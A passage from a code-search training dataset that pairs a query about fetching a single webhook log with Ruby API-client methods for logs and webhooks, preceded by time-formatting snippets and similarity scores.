"def pretty_time(num_seconds)\n\ttemp = num_seconds\t\n\n\thours = temp/3600\n\ttemp = temp%3600\n\n\tminutes = temp/60\n\ttemp = temp%60\n\n\tif hours > 0\n\t\treturn \"#{hours} Hours, #{minutes} Minutes, and #{temp} Seconds\"\n\telsif minutes > 0\n\t\treturn \"#{minutes} Minutes and #{temp} Seconds\"\n\telse\n\t\treturn \"#{temp} Seconds\"\n\tend\nend",
"def hours\n fail \"A value is required for #{__method__}\" unless @value\n return \"0/#{@value}:0:0\"\n end",
"def log_fmt_timestamp(time)\n [(time/3600).to_i, (time/60 % 60).to_i, (time % 60).to_i].map{|t| t.to_s.rjust(2,'0')}.join(':')\n end",
"def recording_length_string(len)\n if len > 60\n \"#{(len / 60).to_i} h #{len % 60} min\"\n else\n \"#{len} min\"\n end\n end",
"def format_minute(minute)\n first, second = minute.divmod(10)\n first_digit_arr = @@number_strs[first]\n second_digit_arr = @@number_strs[second]\n [\n first_digit_arr[0] + second_digit_arr[0],\n first_digit_arr[1] + second_digit_arr[1],\n first_digit_arr[2] + second_digit_arr[2]\n ]\n end",
"def time_conversion(minutes)\n hours = 0\n counter = 0\n Array(1..minutes).each do |i|\n counter += 1\n if counter == 60\n minutes -= 60\n hours += 1\n counter -= 60\n end\n end\n minutes = '0' + minutes.to_s if minutes < 10\n return hours.to_s + \":\" + minutes.to_s\nend",
"def calculate_duration_string(duration)\n minutes = duration / 60\n seconds = duration - minutes * 60\n\n hours = minutes / 60\n minutes = minutes - hours * 60\n\n hr_string, min_string, sec_string = hours.to_s, minutes.to_s, seconds.to_s\n\n # hr_string = \"0\" + hr_string if hours < 10\n min_string = \"0\" + min_string if minutes < 10\n sec_string = \"0\" + sec_string if seconds < 10\n\n if hours === 0\n \"#{min_string} mins\"\n elsif hours === 1\n \"#{hr_string}hr #{min_string}mins\"\n else\n \"#{hr_string}hrs #{min_string}mins\"\n end\n\n end",
"def hours_until_next_allowed_str\n number_hours = hours_until_next_allowed\n \"#{number_hours} #{'hour'.pluralize(number_hours)}\"\n end",
"def hours_until_next_allowed_str\n number_hours = hours_until_next_allowed\n \"#{number_hours} #{'hour'.pluralize(number_hours)}\"\n end",
"def H; cat @time.strftime('%H') end",
"def to_s\n ms, neg = @msecs < 0 ? [ -@msecs, true ] : [ @msecs, false ]\n secs = ( ms % MIN_TO_MS ) / SEC_TO_MS_F\n mmins = ( ms / MIN_TO_MS ).to_i\n hours, mins = mmins / 60, mmins % 60\n\n pad = ( secs < 10.0 ) ? '0' : '';\n\n if hours > 0\n hours = -hours if neg\n \"%+d:%02d:%s%g\" % [ hours, mins, pad, secs ]\n elsif mins > 0\n mins = -mins if neg\n \"%+d:%s%g\" % [ mins, pad, secs ]\n else\n secs = -secs if neg\n \"%+g\" % [ secs ]\n end\n end",
"def get_duration\n return \"#{self.duration.to_s.sub!('.', ',')} #{I18n.t(\"labels.datetime.hour_short\")}\"\n end",
"def time_of_day(number)\n hours, minutes = number.divmod(60)\n hours = hours % 24\n string_hours, string_minutes = '', ''\n if FORMAT[hours] != nil\n string_hours = FORMAT[hours]\n else\n string_hours = hours.to_s\n end\n if FORMAT[minutes] != nil\n string_minutes = FORMAT[minutes]\n else\n string_minutes = minutes.to_s\n end\n \"#{string_hours}:#{string_minutes}\"\nend",
"def convert_minutes_into_hours(minutes)\n hour = minutes / 60\n min = minutes % 60\nputs \" #{hour}:#{min}\"\nend",
"def to_time(value)\n\n hour = (value/3600).floor\n minute = ((value - hour*3600)/60).floor\n second =(value - hour*3600 - minute*60).floor\n\n hour = \"0.#{Hour}\" if (hour.length == 1 )\n minute = \"0.#{minute}\" if (minute.length == 1 )\n second = \"0.#{second}\" if (second.length == 1 )\n\n return (\"#{hour}.:.#{minute}}.:.#{second}\")\n end",
"def secs_to_hms\n frac = self % 1\n mins, secs = divmod(60)\n hrs, mins = mins.divmod(60)\n if frac.round(5) > 0.0\n format('%02<hrs>d:%02<mins>d:%02<secs>d.%<frac>d',\n { hrs: hrs,\n mins: mins, secs: secs,\n frac: frac.round(5) * 100 })\n else\n format('%02<hrs>d:%02<mins>d:%02<secs>d',\n { hrs: hrs, mins: mins, secs: secs })\n end\n end",
"def format(precise: false)\n return '-' if @ms.nil?\n\n return Kernel.format('%02d:%02d:%02d.%03d', hours, minutes, seconds, milliseconds) if precise\n Kernel.format('%02d:%02d:%02d', hours, minutes, seconds)\n end",
"def format(precise: false, sign: :negatives)\n return '-' if @ms.nil?\n\n format = ['%02d', ':%02d', ':%02d']\n components = [hours, minutes, seconds]\n\n if precise\n format << '.%02d'\n components << (milliseconds / 10)\n end\n\n if sign == :always || (sign == :negatives && negative?)\n format[0] = '%0+2d'\n return Kernel.format(format.join, *components)\n end\n\n Kernel.format(format.join, *components)\n end"
] |
[
"0.7928271",
"0.78091055",
"0.7585962",
"0.75253963",
"0.73511595",
"0.73159844",
"0.7277624",
"0.7219083",
"0.72127175",
"0.7150531",
"0.712606",
"0.71113944",
"0.7082153",
"0.7060469",
"0.70344335",
"0.6981567",
"0.6966789",
"0.6950467",
"0.6944295",
"0.69270724",
"0.68831325",
"0.6879059",
"0.68430966",
"0.68355656",
"0.68271786",
"0.68158925",
"0.6800602",
"0.67965674",
"0.6787124",
"0.6775252",
"0.6775252",
"0.6767662",
"0.67591685",
"0.67585194",
"0.6749285",
"0.6745219",
"0.6734035",
"0.6729131",
"0.67199534",
"0.67168075",
"0.66971713",
"0.6691233",
"0.6688791",
"0.66887444",
"0.66807574",
"0.6678419",
"0.6668028",
"0.66653514",
"0.6624347",
"0.66124004",
"0.66057754",
"0.6591049",
"0.6585126",
"0.6583039",
"0.6542864",
"0.65103877",
"0.65103877",
"0.6509182",
"0.6499978",
"0.64955926",
"0.64841044",
"0.6482104",
"0.64813787",
"0.64537007",
"0.64279157",
"0.6426252",
"0.6423723",
"0.6415409",
"0.6415409",
"0.64136213",
"0.64095503",
"0.6407851",
"0.63920265",
"0.6383615",
"0.637598",
"0.63688767",
"0.63664937",
"0.63650364",
"0.63624203",
"0.6359516",
"0.6357568",
"0.6324342",
"0.63176453",
"0.6317551",
"0.6316482",
"0.631566",
"0.63152575",
"0.6303635",
"0.6292968",
"0.62891686",
"0.62891686",
"0.62852633",
"0.62842965",
"0.6282993",
"0.6279408",
"0.62603617",
"0.62592745",
"0.62557787",
"0.6252916",
"0.62441015"
] |
0.6320184
|
82
|
Fetch an individual webhook log Returns a single webhook log based on the webhook log ID.
|
def get_webhook_log(webhook_log_id, opts = {})
data, _status_code, _headers = get_webhook_log_with_http_info(webhook_log_id, opts)
data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def details(webhook_log_id)\n API::request(:get, \"webhook_logs/#{webhook_log_id}\")\n end",
"def details(webhook_log_id)\n API::request(:get, FundAmerica.base_uri + \"webhook_logs/#{webhook_log_id}\")\n end",
"def load_log(log_id)\n service.get log_path(log_id)\n end",
"def get_webhook_log_with_http_info(webhook_log_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsApi.get_webhook_log ...'\n end\n # verify the required parameter 'webhook_log_id' is set\n if @api_client.config.client_side_validation && webhook_log_id.nil?\n fail ArgumentError, \"Missing the required parameter 'webhook_log_id' when calling LogsApi.get_webhook_log\"\n end\n # resource path\n local_var_path = '/logs/{Webhook Log ID}'.sub('{' + 'Webhook Log ID' + '}', webhook_log_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebhookLogResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_webhook_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_webhook_log(webhook_oid, request_id, opts = {})\n data, _status_code, _headers = get_webhook_log_with_http_info(webhook_oid, request_id, opts)\n data\n end",
"def log(log_id)\n raise Auth0::MissingParameter, 'Must supply a valid log_id' if log_id.to_s.empty?\n path = \"#{logs_path}/#{log_id}\"\n get(path)\n end",
"def find_log\n @log = Log.find(params[:id])\n end",
"def get_webhook_log_with_http_info(webhook_oid, request_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WebhookApi.get_webhook_log ...'\n end\n # verify the required parameter 'webhook_oid' is set\n if @api_client.config.client_side_validation && webhook_oid.nil?\n fail ArgumentError, \"Missing the required parameter 'webhook_oid' when calling WebhookApi.get_webhook_log\"\n end\n # verify the required parameter 'request_id' is set\n if @api_client.config.client_side_validation && request_id.nil?\n fail ArgumentError, \"Missing the required parameter 'request_id' when calling WebhookApi.get_webhook_log\"\n end\n # resource path\n local_var_path = '/webhook/webhooks/{webhookOid}/logs/{requestId}'.sub('{' + 'webhookOid' + '}', webhook_oid.to_s).sub('{' + 'requestId' + '}', request_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebhookLogResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhookApi#get_webhook_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def details(email_log_id)\n API::request(:get, \"email_logs/#{email_log_id}\")\n end",
"def get_log_message(log_message_id, include_traces = nil)\n path = \"/d2l/api/lp/#{$lp_ver}/logging/#{log_message_id}/\"\n path += \"?includeTraces=#{include_traces}\" unless include_traces.nil?\n _get(path)\n # returns Message JSON block\nend",
"def show\n @log_entry = LogEntry.find(params[:id])\n end",
"def find_log\n @logs = Log.find(params[:id])\n end",
"def get(id)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def get_webhook(webhook_id)\n request(Route.new(:GET, '/webhooks/%{webhook_id}', webhook_id: webhook_id))\n end",
"def find(id)\n Mailgun.submit :get, webhook_url(id)\n end",
"def set_log_entry\n @log = Log.find(params[:id])\n end",
"def get_log_by_id(id, opts = {})\n data, _status_code, _headers = get_log_by_id_with_http_info(id, opts)\n data\n end",
"def webhook_logs\r\n WebhookLogsController.instance\r\n end",
"def show\n @user = User.find(params[:user_id])\n @log = @user.logs.find(log_params[:id])\n end",
"def log_entry(id, options = {})\n query_params = Hash.new\n query_params[:time_zone] = options[:time_zone] if options[:time_zone]\n query_params[:include] = options[:include] if options[:include]\n\n response = get \"/log_entries/#{id}\", options.merge({query: query_params})\n response[:log_entry]\n end",
"def read(id)\n rows = @pgsql.exec('SELECT log FROM job WHERE id = $1', [id])\n raise WTS::UserError, \"Job #{id} not found\" if rows.empty?\n rows[0]['log']\n end",
"def log(log_no)\n @logs.at(log_no)\n end",
"def get(uuid)\n new(@@data_store.get(:logs, uuid))\n end",
"def log_contents\n if API_KEYS[\"logentries\"]\n account_key = API_KEYS[\"logentries\"][Rails.env][\"account_key\"]\n log_set = API_KEYS[\"logentries\"][Rails.env][\"log_set\"]\n log_name = \"nsc\"\n url = \"https://pull.logentries.com/#{account_key}/hosts/#{log_set}/#{log_name}/?filter=#{log_prefix}\"\n Rails.logger.debug { \"Fetching log from #{url}\" }\n open(url).read\n else\n File.read(log_path)\n end\n end",
"def getContract_log( contract_log_id)\n params = Hash.new\n params['contract_log_id'] = contract_log_id\n return doCurl(\"get\",\"/contract_log\",params)\n end",
"def get_bre_event_log_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_bre_event_log ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling LogsApi.get_bre_event_log\"\n end\n # resource path\n local_var_path = \"/bre/logs/event-log/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BreEventLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_bre_event_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def webhook(id)\n @webhooks[id.resolve_id]\n end",
"def get_log_by_id_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsApi.get_log_by_id ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling LogsApi.get_log_by_id\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/logs/{id}'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"LogsApi.get_log_by_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_log_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def webhook(id)\n make_json_api_request :get, \"v2/#{account_id}/webhooks/#{id}\"\n end",
"def getSales_log( sales_log_id)\n params = Hash.new\n params['sales_log_id'] = sales_log_id\n return doCurl(\"get\",\"/sales_log\",params)\n end",
"def retrieve_log(module_id, nr_of_lines)\n #logs = Log.find(:all, :conditions => [ \"module_id = (?)\", module_id ], :order => 'created_at asc', :limit => nr_of_lines)\n logs = Log.where(\"module_id = (?)\", module_id).order('created_at asc').first(nr_of_lines)\n end",
"def log(log_no)\n @logs.at(log_no)\n end",
"def retrieve_log(module_id, nr_of_lines)\n logs = Log.find(:all, :conditions => [ \"module_id = (?)\", module_id ], :order => 'created_at asc', :limit => nr_of_lines)\n end",
"def set_log_entry\n @log_entry = current_user.log_entries.find(params[:id])\n end",
"def hook(id)\n get(\"/hooks/#{id}\")\n end",
"def show\n @log_entry = LogEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @log_entry }\n end\n end",
"def reload_log_data\n self.log_data = self.class.where(self.class.primary_key => id).pluck(\"#{self.class.table_name}.log_data\".to_sym).first\n end",
"def get_webhook_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsApi.get_webhook_logs ...'\n end\n # resource path\n local_var_path = '/logs/webhooks'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per'] = opts[:'per'] if !opts[:'per'].nil?\n query_params[:'created_at_from'] = opts[:'created_at_from'] if !opts[:'created_at_from'].nil?\n query_params[:'created_at_to'] = opts[:'created_at_to'] if !opts[:'created_at_to'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebhookLogListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_webhook_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_bre_forward_log_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_bre_forward_log ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling LogsApi.get_bre_forward_log\"\n end\n # resource path\n local_var_path = \"/bre/logs/forward-log/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ForwardLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_bre_forward_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_request_log(request_log_id)\n data, _status_code, _headers = get_request_log_with_http_info(request_log_id)\n return data\n end",
"def perform(hook_id, log_data, response_category, _unique_by)\n hook = WebHook.find_by_id(hook_id)\n\n return unless hook # hook has been deleted before we could run.\n\n ::WebHooks::LogExecutionService\n .new(hook: hook, log_data: log_data, response_category: response_category.to_sym)\n .execute\n end",
"def set_light_log\n @light_log = LightLog.find(params[:id])\n end",
"def get_bre_event_log(id, opts = {})\n data, _status_code, _headers = get_bre_event_log_with_http_info(id, opts)\n return data\n end",
"def get_user_log_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_user_log ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling LogsApi.get_user_log\"\n end\n # resource path\n local_var_path = \"/audit/logs/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'UserActionLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_user_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def log\n @client.get(\"#{path}/log\")\n end",
"def fetch(id)\n search(id: id)[:records].first\n end",
"def getEntityChangelog( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/entity/changelog\",params)\n end",
"def get_webhook_log_summaries_with_http_info(webhook_oid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WebhookApi.get_webhook_log_summaries ...'\n end\n # verify the required parameter 'webhook_oid' is set\n if @api_client.config.client_side_validation && webhook_oid.nil?\n fail ArgumentError, \"Missing the required parameter 'webhook_oid' when calling WebhookApi.get_webhook_log_summaries\"\n end\n # resource path\n local_var_path = '/webhook/webhooks/{webhookOid}/logs'.sub('{' + 'webhookOid' + '}', webhook_oid.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_since'] = opts[:'_since'] if !opts[:'_since'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebhookLogSummariesResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WebhookApi#get_webhook_log_summaries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def getBuglog(response)\r\n\t\t\t\ttimeLogs_json = JSON.parse response\r\n\t\t\t\tbuglogs_array = timeLogs_json[\"timelogs\"][\"buglogs\"]\r\n\t\t\t\treturn jsonToBuglog(buglogs_array[0])\r\n\t\t\tend",
"def set_log_entry\n @log_entry = LogEntry.includes(:user, :holding).where(:id => params[:id], :admin_id => @current_user.id).first\n end",
"def get_log\n SimpleWorker.service.log(task_id)\n end",
"def show\n @web_service_log = WebServiceLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_service_log }\n end\n end",
"def get_request_log_with_http_info(request_log_id)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DiagnosticsApi.get_request_log ...\"\n end\n # verify the required parameter 'request_log_id' is set\n fail ArgumentError, \"Missing the required parameter 'request_log_id' when calling DiagnosticsApi.get_request_log\" if request_log_id.nil?\n # resource path\n local_var_path = \"/v2.1/diagnostics/request_logs/{requestLogId}\".sub('{format}','json').sub('{' + 'requestLogId' + '}', request_log_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/plain'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'File')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiagnosticsApi#get_request_log\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_webhook\n @webhook = Webhook.find(params[:id])\n end",
"def set_webhook\n @webhook = Webhook.find(params[:id])\n end",
"def set_user_log\n @user_log = current_user.user_logs.where(id: params[:id]).first\n end",
"def fetch_audit_log\n assert_privileges(\"fetch_audit_log\")\n disable_client_cache\n send_data(fetch_local_log(\"audit\"), :filename => \"audit.log\")\n AuditEvent.success(:userid => session[:userid],\n :event => \"download_audit_log\",\n :message => \"Audit log downloaded\")\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def job_log(organization, jobid)\n uri = server_uri(\"/organizations/#{organization}/jobs/#{jobid}/log\")\n res_data = api_get(uri)\n @logger.debug res_data\n\n return res_data\n end",
"def edit\n @log_entry = LogEntry.find(params[:id])\n end",
"def edit\n @log = Log.find(params[:id])\n end",
"def find_by_uuid uuid\n deliberately_unscoped(Webhook).where(uuid: uuid).limit(1).collect(&:to_domain)[0]\n end",
"def get_audit_log_entry_with_http_info(resource_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_entry ...'\n end\n # verify the required parameter 'resource_id' is set\n if @api_client.config.client_side_validation && resource_id.nil?\n fail ArgumentError, \"Missing the required parameter 'resource_id' when calling AuditLogApi.get_audit_log_entry\"\n end\n # resource path\n local_var_path = '/auditlog/{resourceId}'.sub('{' + 'resourceId' + '}', resource_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditLogEntry')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_entry\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_log\n @log = Log.find(params[:id])\n end",
"def get_webhook_with_token(webhook_id, webhook_token)\n route = Route.new(:GET, '/webhooks/%{webhook_id}/%{webhook_token}',\n webhook_id: webhook_id, webhook_token: webhook_token)\n request(route)\n end",
"def set_entry_log\n @entry_log = EntryLog.find(params[:id])\n end",
"def set_change_log_entry\n @change_log_entry = current_rulemaking.change_log_entries.find(params[:id])\n end",
"def show\n @log = @client.logs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @log }\n end\n end",
"def show\n @event_log_entry = EventLogEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_log_entry }\n end\n end",
"def show\n @log = Dmt::SiteLogger::Log.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @log }\n end\n end",
"def fetch_log\n raise NotImplementedError\n end",
"def get_log_content(logid)\n\t\t\t\tbegin\n\t\t\t\t\treturn File.open(INCLUDED_FILES + XSSF_LOG_FILES + find(XSSF_LOG_DB, XSSF_LOG_HASH, {\"ID\" => logid.to_i})[XSSF_LOG_HASH[\"RESULT\"]], \"rb\") {|io| io.read }\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 24: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\tend",
"def show\n @activity_log = ActivityLog.find(params[:id])\n end",
"def fetch_production_log\n assert_privileges(\"fetch_production_log\")\n disable_client_cache\n send_data(fetch_local_log(Rails.env), :filename => \"#{Rails.env}.log\")\n AuditEvent.success(:userid => session[:userid],\n :event => \"download_#{Rails.env}_log\",\n :message => \"#{@sb[:rails_log]} log downloaded\")\n end",
"def get_bre_forward_log(id, opts = {})\n data, _status_code, _headers = get_bre_forward_log_with_http_info(id, opts)\n return data\n end",
"def show\n @log = Log.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @log }\n end\n end",
"def show\n @log = Log.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @log }\n end\n end",
"def set_log\n\t @log = Log.find(params[:id])\n\t end",
"def show\n @clothing_log = current_account.clothing_logs.find(params[:id])\n authorize! :view, @clothing_log\n respond_with @clothing_log\n end",
"def fetch_log\n assert_privileges(\"fetch_log\")\n disable_client_cache\n send_data(fetch_local_log(\"evm\"), :filename => \"evm.log\")\n AuditEvent.success(:userid => session[:userid], :event => \"download_evm_log\", :message => \"EVM log downloaded\")\n end",
"def get_guild_webhooks(guild_id)\n request(Route.new(:GET, '/guilds/%{guild_id}/webhooks', guild_id: guild_id))\n end",
"def info(id)\n _params = {:id => id}\n return @master.call 'webhooks/info', _params\n end",
"def one_history\n history = History.find(@id)\n history\n end",
"def get_webhook_by_id(webhook_id, opts = {})\n data, _status_code, _headers = get_webhook_by_id_with_http_info(webhook_id, opts)\n data\n end",
